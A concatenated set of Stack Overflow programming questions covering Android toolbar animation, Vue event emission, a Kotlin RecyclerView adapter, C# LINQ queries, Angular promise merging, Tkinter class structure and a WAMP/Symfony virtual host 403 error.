Animator.AnimatorListener() { @Override public void onAnimationStart(Animator animation) { } @Override public void onAnimationEnd(Animator animation) { CurrentAnimation = NO; } @Override public void onAnimationCancel(Animator animation) { } @Override public void onAnimationRepeat(Animator animation) { } }); } } /** * Show the toolbar * @param fragment for which to show the toolbar */ public void showToolbar(WebFragment fragment) { if (CurrentAnimation != SHOWING || fragment != CurrentAnimatingFragment) { CurrentAnimation = SHOWING; CurrentAnimatingFragment = fragment; AnimatorSet animSetXY = new AnimatorSet(); ObjectAnimator animY = ObjectAnimator.ofFloat(fragment.rl, &quot;y&quot;, getActionBarHeight()); ObjectAnimator animY1 = ObjectAnimator.ofFloat(mHeaderView, &quot;y&quot;, 0); animSetXY.playTogether(animY, animY1); animSetXY.start(); animSetXY.addListener(new Animator.AnimatorListener() { @Override public void onAnimationStart(Animator animation) { } @Override public void onAnimationEnd(Animator animation) { CurrentAnimation = NO; CurrentAnimatingFragment = null; } @Override public void onAnimationCancel(Animator animation) { } @Override public void onAnimationRepeat(Animator animation) { } }); } } public int getActionBarHeight() { int mHeight = mToolbar.getHeight(); //Just in case we get a unreliable result, get it from metrics if (mHeight == 0){ TypedValue tv = new TypedValue(); if (getTheme().resolveAttribute(android.R.attr.actionBarSize, tv, true)) { mHeight = TypedValue.complexToDimensionPixelSize(tv.data,getResources().getDisplayMetrics()); } } return mHeight; } boolean getHideTabs(){ if (mAdapter.getCount() == 1 || Config.USE_DRAWER){ return true; } else { return Config.HIDE_TABS; } } public static boolean getCollapsingActionBar(){ if (Config.COLLAPSING_ACTIONBAR &amp;&amp; !Config.HIDE_ACTIONBAR){ return true; } else { return false; } } /** * Check permissions on app start * @param context * @param permissions Permissions to check * @return if the permissions are available */ private static boolean hasPermissionToDo(final Activity context, final String[] permissions) { boolean oneDenied = false; for (String permission : permissions) { if (Build.VERSION.SDK_INT &gt;= Build.VERSION_CODES.M &amp;&amp; ContextCompat.checkSelfPermission(context, permission) != PackageManager.PERMISSION_GRANTED) oneDenied = true; } if (!oneDenied) return true; AlertDialog.Builder builder = new AlertDialog.Builder(context); builder.setMessage(R.string.common_permission_explaination); builder.setPositiveButton(R.string.common_permission_grant, new DialogInterface.OnClickListener() { public void onClick(DialogInterface dialog, int id) { // Fire off an async request to actually get the permission // This will show the standard permission request dialog UI if(Build.VERSION.SDK_INT &gt;= Build.VERSION_CODES.M) context.requestPermissions(permissions,1); } }); AlertDialog dialog = builder.create(); dialog.show(); return false; } /** * Show an interstitial ad */ public void showInterstitial(){ if (interstitialCount == (Config.INTERSTITIAL_INTERVAL - 1)) { if (mInterstitialAd != null &amp;&amp; mInterstitialAd.isLoaded()) { mInterstitialAd.show(); } interstitialCount = 0; } else { interstitialCount++; } } /** * Configure the navigationView * @param menu to modify */ public void configureMenu(SimpleMenu menu){ for (int i = 0; i &lt; Config.TITLES.length; i++) { //The title String title = null; Object titleObj = Config.TITLES[i]; if (titleObj instanceof Integer &amp;&amp; !titleObj.equals(0)) { title = getResources().getString((int) titleObj); } else { title = (String) titleObj; } //The icon int icon = 0; if (Config.ICONS.length &gt; i) icon = Config.ICONS[i]; menu.add((String) Config.TITLES[i], icon, new Action(title, Config.URLS[i])); } menuItemClicked(menu.getFirstMenuItem().getValue(), menu.getFirstMenuItem().getKey()); } @Override public void menuItemClicked(Action action, MenuItem item) { if (WebToAppWebClient.urlShouldOpenExternally(action.url)){ //Load url outside WebView try { startActivity( new Intent(Intent.ACTION_VIEW, Uri.parse(action.url))); } catch(ActivityNotFoundException e) { if (action.url.startsWith(&quot;intent://&quot;)) { startActivity( new Intent(Intent.ACTION_VIEW, Uri.parse(action.url.replace(&quot;intent://&quot;, &quot;http://&quot;)))); } else { Toast.makeText(this, getResources().getString(R.string.no_app_message), Toast.LENGTH_LONG).show(); } } } else { //Uncheck all other items, check the current item for (MenuItem menuItem : menu.getMenuItems()) menuItem.setChecked(false); item.setChecked(true); //Close the drawer DrawerLayout drawer = (DrawerLayout) findViewById(R.id.drawer_layout); drawer.closeDrawer(GravityCompat.START); //Load the url if (getFragment() == null) return; getFragment().browser.loadUrl(&quot;about:blank&quot;); getFragment().setBaseUrl(action.url); //Show intersitial if applicable showInterstitial(); Log.v(&quot;INFO&quot;, &quot;Drawer Item Selected&quot;); } } } </code></pre>
3
9,997
Emit variable not passing array from child to parent?
<p>I am trying to pass an array of tags from the child component to the parent component using emit. The emit is registering and firing the method in the parent component, but when I log the argument that I passed via emit it returns undefined. I am not sure what I am doing wrong because I have passed objects via emit before. </p> <p>I have tried trying to convert the array to an object, passing it as the this value of the same name without storing it as a variable within the method itself. </p> <pre><code>//edittagsform &lt;template&gt; &lt;div class="card"&gt; &lt;div class="card-body"&gt; &lt;div class="form-inputs"&gt; &lt;h5&gt;Add tags:&lt;/h5&gt; &lt;tagsField v-on:incoming="updateTagsList()"/&gt;&lt;br&gt; &lt;h5&gt;Current tags:&lt;/h5&gt; &lt;div v-if="tags.length &gt; 0"&gt; &lt;tagsList v-for="tag in tags" v-bind:tag="tag"/&gt; &lt;/div&gt; &lt;div v-else&gt; &lt;p&gt;No tags associated&lt;/p&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;/template&gt; &lt;script&gt; import tagsField from './tagsField' import tagsList from './tagsList' export default { data: function () { return { tags: { tag: this.tagList, } }, props: ['tagList'], name: 'editTagsForm', methods: { updateTagsList(newTag) { console.log(newTag) this.tags.push(newTag) } }, components: { tagsField, tagsList } } &lt;/script&gt; &lt;style scoped&gt; &lt;/style&gt; </code></pre> <pre><code>//tagsField.vue &lt;template&gt; &lt;div class="input-group"&gt; &lt;form&gt; &lt;input-tag v-model="newTags"&gt;&lt;/input-tag&gt;&lt;br&gt; &lt;input type="button" value="submit" v-on:click="addTag()" class="btn btn-secondary btn-sm"&gt; &lt;/form&gt; &lt;/div&gt; &lt;/template&gt; &lt;script&gt; export default { data: function () { return { newTags: [], } }, methods: { addTag() { for(var i = 0; i &lt;= this.newTags.length; i++){ var arr = this.newTags[i] this.$emit('incoming', { arr }) } } } } &lt;/script&gt; &lt;style scoped&gt; &lt;/style&gt;``` </code></pre>
3
1,114
RecyclerView showing actually deleted items
<h3>Problem</h3> <p>I am writing an android application that has to handle a variable amount of elements in a RecyclerView. When I add an element, some data gets saved into a configuration file along with an UUID.</p> <p>Either when the application starts or when the element gets created or removed by the user during runtime, the RecyclerView gets updated and shows all currently existing elements.</p> <p>Each of these elements has a button to remove it and its additional data from the configuration. When I press this button, the elements data successfully gets removed from the configuration and it turns invisible leading the RecyclerView only to show the remaining elements.</p> <p>However, when I try to insert a new element, it doesn't get shown but rather the element that has been removed previously during this session.</p> <h3>Tries</h3> <p>I have been looking for a solution for a while now. First of all, I startet reading the documentation over and over again, thinking that I missed something. I also viewed some online examples on how to remove an item from a RecyclerView properly but I can't get it working.</p> <h3>Code</h3> <pre><code>package com.rappee.protectiveparking.ui import android.support.v7.widget.RecyclerView import android.view.LayoutInflater import android.view.ViewGroup import com.rappee.protectiveparking.R import com.rappee.protectiveparking.core.Resources import java.util.* class ScrollerAdapter : RecyclerView.Adapter&lt; ConsoleViewHolder &gt;() , DragItemTouchHelperAdapter { private var stockpile: Queue&lt; String &gt; = LinkedList&lt; String &gt;() private var holder: MutableList&lt; ConsoleViewHolder &gt; = ArrayList() fun push( identification: String ) { this.stockpile.add( identification ) this.notifyItemInserted( this.itemCount - 1 ) } fun remove( position: Int ) { this.holder.removeAt( position ) this.notifyItemRemoved( position ) } override fun onCreateViewHolder( parent: ViewGroup , type: Int ): ConsoleViewHolder { val view: ConsoleViewHolder = ConsoleViewHolder( LayoutInflater.from( parent.context ).inflate( R.layout.console , parent , false ) , this.stockpile.poll() ) this.holder.add( view ) return view } override fun onBindViewHolder( holder: ConsoleViewHolder , position: Int ) { return } override fun getItemCount(): Int { return this.holder.size + this.stockpile.size } override fun onItemMove( from: Int , to: Int ): Boolean { Collections.swap( this.holder , to , from ) for ( i in 0 until this.holder.size ) { Resources.CONFIGURATION.push( "${this.holder.get( i ).identification}.${Resources.KEY_POSITION}" , "$i" ) } this.notifyItemMoved( from , to ) return true } } </code></pre> <h3>Behaviour</h3> <p>When I try to insert a new element, I actually put the UUID into 'stockpile' and call 'notifyItemInserted', so that 'onCreateViewHolder' gets activated. When this happens, I fetch the foremost UUID from 'stockpile' in form of a String to give it to the constructor of 'ConsoleViewHolder' as a parameter. Only when this method gets called, an actual View gets pushed into the RecyclerView ( not my decision! ).</p> <p>However, when I insert a new UUID and update the RecyclerView after an item got deleted, this method doesn't get called so that no new View can be shown. The only thing that changes is that the previously deleted View pops back up.</p> <p><strong>MY QUESTION: How can I fix this behaviour of my RecyclerView showing deleted items instead of newly pushed ones?</strong></p>
3
1,065
Combine two select statments to fetch data from DB
<p>I am little bit confuse about the problem and I dont know how to respolve this. So the problem is following. I have two <code>Models</code>(<strong>ReportElement, ReportDefinition</strong>) and one <code>ViewModel</code> (<strong>ReportElementDefinitionVM</strong>) </p> <p><strong>ReportDefinition Model</strong></p> <pre><code>public partial class IzvjestajDefinicija { public IzvjestajDefinicija() { IzvjestajElementi = new HashSet&lt;IzvjestajElementi&gt;(); IzvjestajiGenerisani = new HashSet&lt;IzvjestajiGenerisani&gt;(); } public int IzvjestajDefinicijaId { get; set; } public int? IzvjestajTipId { get; set; } public int? IzvjestajXsdshemaiId { get; set; } public string KratkiNaziv { get; set; } public string Naziv { get; set; } public string Opis { get; set; } public byte Status { get; set; } public DateTime DatumUnosa { get; set; } public DateTime? DatumAzuriranja { get; set; } public string KorisnikUnosa { get; set; } public string KorisnikAzurirao { get; set; } public virtual IzvjestajTip IzvjestajTip { get; set; } public virtual IzvjestajXsdshema IzvjestajXsdshemai { get; set; } public virtual ICollection&lt;IzvjestajElementi&gt; IzvjestajElementi { get; set; } public virtual ICollection&lt;IzvjestajiGenerisani&gt; IzvjestajiGenerisani { get; set; } } </code></pre> <p><strong>ReportElement Model</strong></p> <pre><code>public partial class IzvjestajElementi { public int IzvjestajElementiId { get; set; } public int? IzvjestajDefinicijaId { get; set; } public string Element { get; set; } public string ElementVrijednosti { get; set; } public byte Status { get; set; } public DateTime DatumUnosa { get; set; } public DateTime? DatumAzuriranja { get; set; } public string KorisnikUnosa { get; set; } public string KorisnikAzurirao { get; set; } public virtual IzvjestajDefinicija IzvjestajDefinicija { get; set; } } </code></pre> <p>And ReportElementDefinitionVM</p> <pre><code>public class GenerisaniIzvjestajiVM { public int IzvjestajiGenerisaniId { get; set; } public int? IzvjestajDefinicijaId { get; set; } public int? IzvjestajXsdshemaiId { get; set; } public string ShemaXSD { get; set; } public string KratkiNazivDefinicijeI { get; set; } public string Naziv { get; set; } public string Opis { get; set; } public string Izvjestaj { get; set; } public DateTime DatumOd { get; set; } public DateTime DatumDo { get; set; } public string ImportedExcel { get; set; } public DateTime DatumKreiranja { get; set; } public byte Status { get; set; } public DateTime DatumUnosa { get; set; } public DateTime? DatumAzuriranja { get; set; } public string KorisnikUnosa { get; set; } public string KorisnikAzurirao { get; set; } public string NazivXmlfajla { get; set; } public string Elementi { get; set; } public string ElementiVrijednosti { get; set; } } </code></pre> <p>And right now I have one <code>Select</code> statment which take elemnt from <code>ReportDefinition</code> and <code>ReportElementDefinitionVM</code> </p> <pre><code> public ListaSveVM UcitajIzvjestaj() { var listaFromDb = _context.IzvjestajDefinicija.Where(x =&gt; x.Status == 1).ToList().OrderByDescending(x =&gt; x.IzvjestajDefinicijaId); var listaM = new List&lt;GenerisaniIzvjestajiVM&gt;(); var data = _context.IzvjestajDefinicija.Where(x =&gt; x.Status == 1).OrderByDescending(x =&gt; x.IzvjestajDefinicijaId) .Select(i =&gt; new GenerisaniIzvjestajiVM() { IzvjestajiGenerisaniId = i.IzvjestajDefinicijaId, KratkiNazivDefinicijeI = (_context.IzvjestajDefinicija.Where(x =&gt; x.IzvjestajDefinicijaId == i.IzvjestajDefinicijaId &amp;&amp; x.Status == 1).FirstOrDefault()).KratkiNaziv, Naziv = i.Naziv, Opis = i.Opis, IzvjestajXsdshemaiId = i.IzvjestajXsdshemaiId, ShemaXSD = i.IzvjestajXsdshemai.Shema, }).ToList(); var lista = ""; lista = JsonConvert.SerializeObject(data, Newtonsoft.Json.Formatting.None); var listaVM = new ListaSveVM(); listaVM.sve = lista; return listaVM; } </code></pre> <p>And Right now, I want to take two property from ReportElement which is (Element,ElementValue) to be display in my <code>View</code> and so far I create something like this: </p> <pre><code> var elementi = _context.IzvjestajElementi.Where(x =&gt; x.Status == 1).OrderBy(x =&gt; x.IzvjestajDefinicijaId) .Select(i =&gt; new GenerisaniIzvjestajiVM() { Elementi = i.Element, ElementiVrijednosti = i.ElementVrijednosti }).ToList(); </code></pre> <p>And when I pass <code>elementi</code> to I get error</p> <p><code>lista = JsonConvert.SerializeObject(data, Newtonsoft.Json.Formatting.None);</code></p> <pre><code>Severity Code Description Project File Line Suppression State Error CS1503 Argument 2: cannot convert from 'System.Collections.Generic.List&lt;IZ.Model.VM.GenerisaniIzvjestajiVM&gt;' to 'Newtonsoft.Json.JsonConverter' </code></pre> <p>And I also try to create another ViewModel to combine all data from those two models, but I can not fetch data. Sorry for long post, but problem is very complicated and I describe problem as better as I can. Does anyone know how to solve this problem I would be very thankful. </p> <p><strong>Update</strong></p> <p><strong>IzvjestajElementi.cs</strong></p> <pre><code>using System; using System.Collections.Generic; namespace IZ.Model.DBModels { public partial class IzvjestajElementi { public int IzvjestajElementiId { get; set; } public int? IzvjestajDefinicijaId { get; set; } public string Element { get; set; } public string ElementVrijednosti { get; set; } public byte Status { get; set; } public DateTime DatumUnosa { get; set; } public DateTime? DatumAzuriranja { get; set; } public string KorisnikUnosa { get; set; } public string KorisnikAzurirao { get; set; } public virtual IzvjestajDefinicija IzvjestajDefinicija { get; set; } } } </code></pre> <p>So I want to combine these two into one .Select or redesing these two statment as one</p> <pre><code>var data = _context.IzvjestajDefinicija.Where(x =&gt; x.Status == 1).OrderByDescending(x =&gt; x.IzvjestajDefinicijaId) .Select(i =&gt; new IzvjestajElementiVM() { IzvjestajDefinicijaId = i.IzvjestajDefinicijaId, KratkiNazivDefinicijeI = (_context.IzvjestajDefinicija.Where(x =&gt; x.IzvjestajDefinicijaId == i.IzvjestajDefinicijaId &amp;&amp; x.Status == 1).FirstOrDefault()).KratkiNaziv, Naziv = i.Naziv, Opis = i.Opis, ShemaXSD = i.IzvjestajXsdshemai.Shema, }).ToList(); var elementi = _context.IzvjestajElementi.Where(x =&gt; x.Status == 1).OrderBy(x =&gt; x.IzvjestajDefinicijaId) .Select(i =&gt; new IzvjestajElementiVM() { Elementi = i.Element, ElementiVrijednosti = i.ElementVrijednosti }).ToList(); </code></pre> <p>When I pass <code>element</code> to </p> <pre><code>lista = JsonConvert.SerializeObject(data, elementi); </code></pre> <p>I get error</p> <p>Error CS1503 Argument 2: cannot convert from 'System.Collections.Generic.List' to 'Newtonsoft.Json.Formatting'</p> <p>I need something like this </p> <pre><code>var data = _context.IzvjestajDefinicija.Where(x =&gt; x.Status == 1).OrderByDescending(x =&gt; x.IzvjestajDefinicijaId) .Select(i =&gt; new IzvjestajElementiVM() { IzvjestajDefinicijaId = i.IzvjestajDefinicijaId, KratkiNazivDefinicijeI = (_context.IzvjestajDefinicija.Where(x =&gt; x.IzvjestajDefinicijaId == i.IzvjestajDefinicijaId &amp;&amp; x.Status == 1).FirstOrDefault()).KratkiNaziv, Naziv = i.Naziv, Opis = i.Opis, ShemaXSD = i.IzvjestajXsdshemai.Shema, Elementi = i.Elementi, ElementiVrijednosti = i.ElementiVrijednosti });.ToList(); </code></pre> <p>I want to display Elementi and ElementiVrijednosti into datatable. Since Elementi and ElementiVrijednosti are not contain in IzvjestajDefinicija only in IzvjestaElementiVM I can not assign. So I want to display Elementi and Elementi vrijednosti into my Datatable. Checke picture belowe.</p> <p><a href="https://i.stack.imgur.com/4dLR2.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/4dLR2.jpg" alt="enter image description here"></a></p> <pre><code>using System; using System.Collections.Generic; using System.Text; namespace IZ.Model.VM { public class IzvjestajElementiVM { public int IzvjestajElementiId { get; set; } public int? IzvjestajDefinicijaId { get; set; } public int? IzvjestajXsdshemaId { get; set; } public int? IzvjestajTipId { get; set; } public string Naziv { get; set; } public string Opis { get; set; } public string Izvjestaj { get; set; } public byte Status { get; set; } public string KorisnikUnosa { get; set; } public string KorisnikAzurirao { get; set; } public string NazivXmlfajla { get; set; } public string ShemaXSD { get; set; } public string KratkiNazivDefinicijeI { get; set; } public string Elementi { get; set; } public string ElementiVrijednosti { get; set; } } } </code></pre>
3
4,752
How to merge REST call results in Angular app more efficiently
<p>I have an Angular SPA running on a SharePoint 2013 page. In the code, I'm using $q to pull data from 10 different SharePoint lists using REST and then merging them into one JSON object for use in a grid. The code runs and outputs the intended merged data but it's leaky and crashes the browser after a while. </p> <p>Here's the code in the service:</p> <pre><code>factory.getGridInfo = function() { var deferred = $q.defer(); var list_1a = CRUDFactory.getListItems("ListA", "column1,column2,column3"); var list_1b = CRUDFactory.getListItems("ListB", "column1,column2,column3"); var list_2a = CRUDFactory.getListItems("ListC", "column4"); var list_2b = CRUDFactory.getListItems("ListD", "column4"); var list_3a = CRUDFactory.getListItems("ListE", "column5"); var list_3b = CRUDFactory.getListItems("ListF", "column5"); var list_4a = CRUDFactory.getListItems("ListG", "column6"); var list_4b = CRUDFactory.getListItems("ListH", "column6"); var list_5a = CRUDFactory.getListItems("ListI", "column7"); var list_5b = CRUDFactory.getListItems("ListJ", "column7"); $q.all([list_1a, list_1b, list_2a, list_2b, list_3a, list_3b, list_4a, list_4b, list_5a, list_5b]) .then(function(results){ var results_1a = results[0].data.d.results; var results_1b = results[1].data.d.results; var results_2a = results[2].data.d.results; var results_2b = results[3].data.d.results; var results_3a = results[4].data.d.results; var results_3b = results[5].data.d.results; var results_4a = results[6].data.d.results; var results_4b = results[7].data.d.results; var results_5a = results[8].data.d.results; var results_5b = results[9].data.d.results; var combined_1 = results_1a.concat(results_1b); var combined_2 = results_2a.concat(results_2b); var combined_3 = results_3a.concat(results_3b); var combined_4 = results_4a.concat(results_4b); var combined_5 = results_5a.concat(results_5b); for(var i = 0; i &lt; combined_1.length; i++){ var currObj = combined_1[i]; currObj["column4"] = combined_2[i].column4; currObj["column5"] = combined_3[i].column5; currObj["column6"] = combined_4[i].column6; currObj["column7"] = combined_5[i].column7; factory.newObjectArray[i] = currObj; } deferred.resolve(factory.newObjectArray); }, function (error) { deferred.reject(error); }); return deferred.promise; }; </code></pre> <p>Here's the REST call in CRUDFactory:</p> <pre><code>factory.getListItems = function (listName, columns){ var webUrl = _spPageContextInfo.webAbsoluteUrl + "/_api/web/lists/getByTitle('"+listName+"')/items?$select="+columns+"&amp;$top=5000"; var options = { headers: { "Accept": "application/json; odata=verbose" }, method: 'GET', url: webUrl }; return $http(options); }; </code></pre> <p>And then here's the controller bit:</p> <pre><code>$scope.refreshGridData = function(){ $scope.hideLoadingGif = false; $scope.GridData = ""; GlobalFactory.getGridInfo() .then(function(){ $scope.GridData = GlobalFactory.newObjectArray; $scope.hideLoadingGif = true; }); }; </code></pre> <p><strong>UPDATE 1:</strong> Per request, Here's the HTML (just a simple div that we're using angular-ui-grid on)</p> <pre><code>&lt;div ui-grid="GridOptions" class="grid" ui-grid-selection ui-grid-exporter ui-grid-save-state&gt;&lt;/div&gt; </code></pre> <p>This code starts by declaring some get calls and then uses $q.all to iterate over the calls and get the data. It then stores the results and merges them down to 5 total arrays. Then, because my list structure is proper and static, I'm able to iterate over one of the merged arrays and pull data from the other arrays into one master array that I'm assigning to factory.newObjectArray, which I'm declaring as a global in my service and using as my grid data source.</p> <p>The code runs and doesn't kick any errors up but the issue is with (I believe) the "getGridInfo" function. If I don't comment out any of the REST calls, the browser uses 45 MB of data that doesn't get picked up by GC which is then compounded for each click until the session is ended or crashes. If I comment out all the calls but one, my page only uses 18.4 MB of memory, which is high but I can live with it. </p> <p>So what's the deal? Do I need to destroy something somewhere? If so, what and how? Or does this relate back to the REST function I'm using?</p> <p><strong>UPDATE 2:</strong> The return result that the grid is using (the factory.newObjectArray) contains a total of 5,450 items and each item has about 80 properties after the merge. The code above is simplified and shows the pulling of a couple columns per list, but in actuality, I'm pulling 5-10 columns per list.</p>
3
1,908
outer join two anonymous types and reference a single property in the join query?
<p>Given:</p> <pre><code>var memberships = context.Memberships.OrderBy("it.CreateDate").ToList(); var monthlyCounts = from m in memberships where m.CreateDate &gt;= today.AddDays(-365) &amp;&amp; m.CreateDate &lt;= today group m by m.CreateDate.Month into g select new { MemberCount = g.Count(m =&gt; m.UserId != null), MembershipDate = g.Key, }; </code></pre> <p>I'm trying to join that with a list of months:</p> <pre><code> var months = Enumerable.Range(0, (d1.Year - d0.Year) * 12 + (d1.Month - d0.Month + 1)) .Select(m =&gt; new DateTime(d0.Year, d0.Month, 1).AddMonths(m).Month); </code></pre> <p>This is what I came up with:</p> <pre><code>var cumlativeCounts = from d in months join m in monthlyCounts on d equals m.MembershipDate into ms from m in ms.DefaultIfEmpty() select new { Month = d, Count = m.MemberCount }; </code></pre> <p>Problem is I get an 'Object Reference not Set to an Instance of an Object' Exception, presumably on m.MemberCount</p> <p>When I just use Count = m then I get all the properties from the monthlyCounts anonymous type, which is not exactly what I want. </p> <p>Is there another way to outer join two anonymous types and reference a single property in the join query? </p> <p>Thanks in advance.</p>
3
1,075
python Tkinter script written by class acts abnormally, but using function style works fine
<p>The script written by class style can't update listbox as expectation I expect this code updates listbox content from &quot; &quot; to &quot;2 2 2&quot; after pressing start button</p> <p>code floor: 1.function <em><strong>empty_listbox</strong></em> in class <em><strong>Leftframe</strong></em> generates empty listbox</p> <p>2.User press start_btn in <em><strong>Rightframe</strong></em> (another script start generate a file 'XXX.pkl')</p> <p>3.function <em><strong>chk_file_exist</strong></em> in class <em><strong>Rightframe</strong></em> will waits until 'XXX.pkl' exists(I have force this condition be True for debugging)</p> <p>4.function <em><strong>chk_file_exist</strong></em> in class <em><strong>Rightframe</strong></em> calls function <em><strong>update_listbox</strong></em> in class <em><strong>Leftframe</strong></em> to update listbox's content, <strong>but fails</strong></p> <p>class style script:</p> <pre><code>import tkinter as tk import os class Leftframe(tk.Frame): def __init__(self, parent, *args, **kwargs): tk.Frame.__init__(self, parent, *args, **kwargs) self.parent = parent self.scrollbar = tk.Scrollbar(self) self.scrollbar.pack(side=tk.RIGHT, fill=tk.Y) self.mylist = tk.Listbox(self, yscrollcommand=self.scrollbar.set) self.mylist.place(x=0, y=0, width=260, height=410) self.scrollbar.config(command=self.mylist.yview) self.empty_listbox() def empty_listbox(self): self.mylist.delete(0, tk.END) for it in ([' ']): self.mylist.insert(tk.END, it) def update_listbox(self): self.mylist.delete(0, tk.END) for it in (['2','2','2']): self.mylist.insert(tk.END, it) print('Iamhere, update listbox!')#why class Rightframe(tk.Frame): def __init__(self, parent, *args, **kwargs): tk.Frame.__init__(self, parent, *args, **kwargs) self.parent = parent self.start_btn = tk.Button(self,text='Start') self.start_btn.config(command=self.button_start_push) self.start_btn.place(anchor=tk.NW,x=10,y=10,width=60,height=20) self.stop_btn = tk.Button(self,text='Stop') self.stop_btn['state'] = tk.DISABLED self.stop_btn.config(command=self.button_stop_push) self.stop_btn.place(anchor=tk.NW,x=10,y=60,width=60,height=20) def chk_file_exist(self): if 1:#os.path.isfile(os.path.join(os.curdir, fileroute)): force for debugging!! Leftframe(self.parent).update_listbox()###error TypeError: __init__() missing 1 required positional argument: 'parent' else: print('file generating, please wait')#other script generating file in background main_win.after(1000, self.chk_file_exist) def button_start_push(self): print('Started') self.start_btn['state'] = tk.DISABLED self.stop_btn['state'] = tk.NORMAL global fileroute self.chk_file_exist() def button_stop_push(self): print('stop button pressed') self.start_btn['state'] = tk.NORMAL open(os.path.join(os.curdir, 'stop.txt'), 'a').close() if __name__ == '__main__': fileroute = 'XXX.pkl' main_win = tk.Tk() main_win.geometry(&quot;200x150+0+0&quot;) Leftframe(main_win, relief=&quot;sunken&quot;, borderwidth=1).place(x=10, y=10, width=80, height=100) Rightframe(main_win, relief=&quot;sunken&quot;, borderwidth=1).place(x=100, y=10, width=80, height=100) main_win.mainloop() </code></pre> <p>Then I tried to rewrite this code only use function, <strong>it can updates listbox correctly</strong></p> <p>function style script:</p> <pre><code>import tkinter as tk import os #leftframe function def empty_listbox(mylist): mylist.delete(0, tk.END) for it in ([' ']): mylist.insert(tk.END, it) def update_listbox(mylist): mylist.delete(0, tk.END) for it in (['2', '2', '2']): mylist.insert(tk.END, it) print('Iamhere, update listbox!') # why # rightframe function def chk_file_exist(mylist): if 1:#os.path.isfile(os.path.join(os.curdir, fileroute)): force for debugging!! update_listbox(mylist)###error TypeError: __init__() missing 1 required positional argument: 'parent' else: print('file generating, please wait')#other script generating file in background main_win.after(1000, chk_file_exist) def button_start_push(): print('Started') start_btn['state'] = tk.DISABLED stop_btn['state'] = tk.NORMAL global fileroute chk_file_exist(mylist) def button_stop_push(): print('stop button pressed') start_btn['state'] = tk.NORMAL open(os.path.join(os.curdir, 'stop.txt'), 'a').close() if __name__ == '__main__': fileroute = 'XXX.pkl' main_win = tk.Tk() main_win.geometry(&quot;200x150+0+0&quot;) #leftframe leftframe=tk.Frame(main_win, relief=&quot;sunken&quot;, borderwidth=1).place(x=10, y=10, width=80, height=100) scrollbar = tk.Scrollbar(leftframe) scrollbar.pack(side=tk.RIGHT, fill=tk.Y) mylist = tk.Listbox( leftframe,yscrollcommand=scrollbar.set) mylist.place(x=0, y=0, width=260, height=410) scrollbar.config(command=mylist.yview) empty_listbox(mylist) #rightframe rightframe=tk.Frame(main_win, relief=&quot;sunken&quot;, borderwidth=1).place(x=100, y=10, width=80, height=100) start_btn = tk.Button(rightframe, text='Start') start_btn.config(command=button_start_push) start_btn.place(anchor=tk.NW, x=10, y=10, width=60, height=20) stop_btn = tk.Button( rightframe,text='Stop') stop_btn['state'] = tk.DISABLED stop_btn.config(command=button_stop_push) stop_btn.place(anchor=tk.NW, x=10, y=60, width=60, height=20) main_win.mainloop() </code></pre> <p>Can you find out where I made mistake in class style script?</p> <p>And why the GUI layout of these two codes look so differently? I tried to debug in class style script but failed.(the buttons location is different)</p> <p>class style script<a href="https://i.stack.imgur.com/Ntoyj.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/Ntoyj.png" alt="class style script" /></a></p> <p>function style script<a href="https://i.stack.imgur.com/qcldz.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/qcldz.png" alt="function style script" /></a></p> <p>Many thanks!!</p>
3
2,688
Wrong routing or wamp error ?
<p>I just started a new symfony project, but I got something wrong with my wamp, and I don't know if this is coming from Wamp, vhost or Symfony.</p> <p>I hope you can help me.</p> <p>When I'm wanted to test my vhost, with the url <code>kingdom/</code> I got this error 403:</p> <p>You don't have permission to access / on this server. Apache/2.4.23 (Win32) PHP/5.6.25 Server at kingdom Port 80</p> <p>My hhtpd-vhost.com contains</p> <pre><code># Virtual Hosts # &lt;VirtualHost *:80&gt; ServerName localhost ServerAlias localhost DocumentRoot c:/wamp/www &lt;Directory "c:/wamp/www/"&gt; Options +Indexes +Includes +FollowSymLinks +MultiViews AllowOverride All Require local &lt;/Directory&gt; &lt;/VirtualHost&gt; &lt;VirtualHost *:80&gt; ServerName kingdom ServerAlias kingdom DocumentRoot c:/wamp/www/Kingdom &lt;Directory "c:/wamp/www/Kingdom/"&gt; Options -Indexes Order allow,deny Allow from all &lt;/Directory&gt; &lt;/VirtualHost&gt; # </code></pre> <p>On my hosts file I got this</p> <pre><code># Copyright (c) 1993-2009 Microsoft Corp. # # This is a sample HOSTS file used by Microsoft TCP/IP for Windows. # # This file contains the mappings of IP addresses to host names. Each # entry should be kept on an individual line. The IP address should # be placed in the first column followed by the corresponding host name. # The IP address and the host name should be separated by at least one # space. # # Additionally, comments (such as these) may be inserted on individual # lines or following the machine name denoted by a '#' symbol. # # For example: # # 102.54.94.97 rhino.acme.com # source server # 38.25.63.10 x.acme.com # x client host # localhost name resolution is handled within DNS itself. # 127.0.0.1 localhost # ::1 localhost 127.0.0.1 kingdom # </code></pre> <p>Now, on my app/config/routing.yml</p> <pre><code>user: resource: "@UserBundle/Resources/config/routing.yml" prefix: /user wos_way_of_shogun: resource: "@WOSWayOfShogunBundle/Resources/config/routing.yml" prefix: / </code></pre> <p>On my WOSWayOfShogunBundle/config/routing.yml</p> <pre><code>wos_way_of_shogun_homepage: path: / defaults: _controller: WOSWayOfShogunBundle:Default:index wos_way_of_shogun_homepage_bis: path: /accueil defaults: _controller: WOSWayOfShogunBundle:Default:index </code></pre> <p>Either way, I'm still getting the 403 error with <code>kingdom/</code> and a 404 error with <code>kingdom/app_dev.php/accueil</code></p> <p>Thanks for your help guys if you can see what I'm missing here...must be quite simple but :(</p>
3
1,081
MongoDB data aggregation assistance
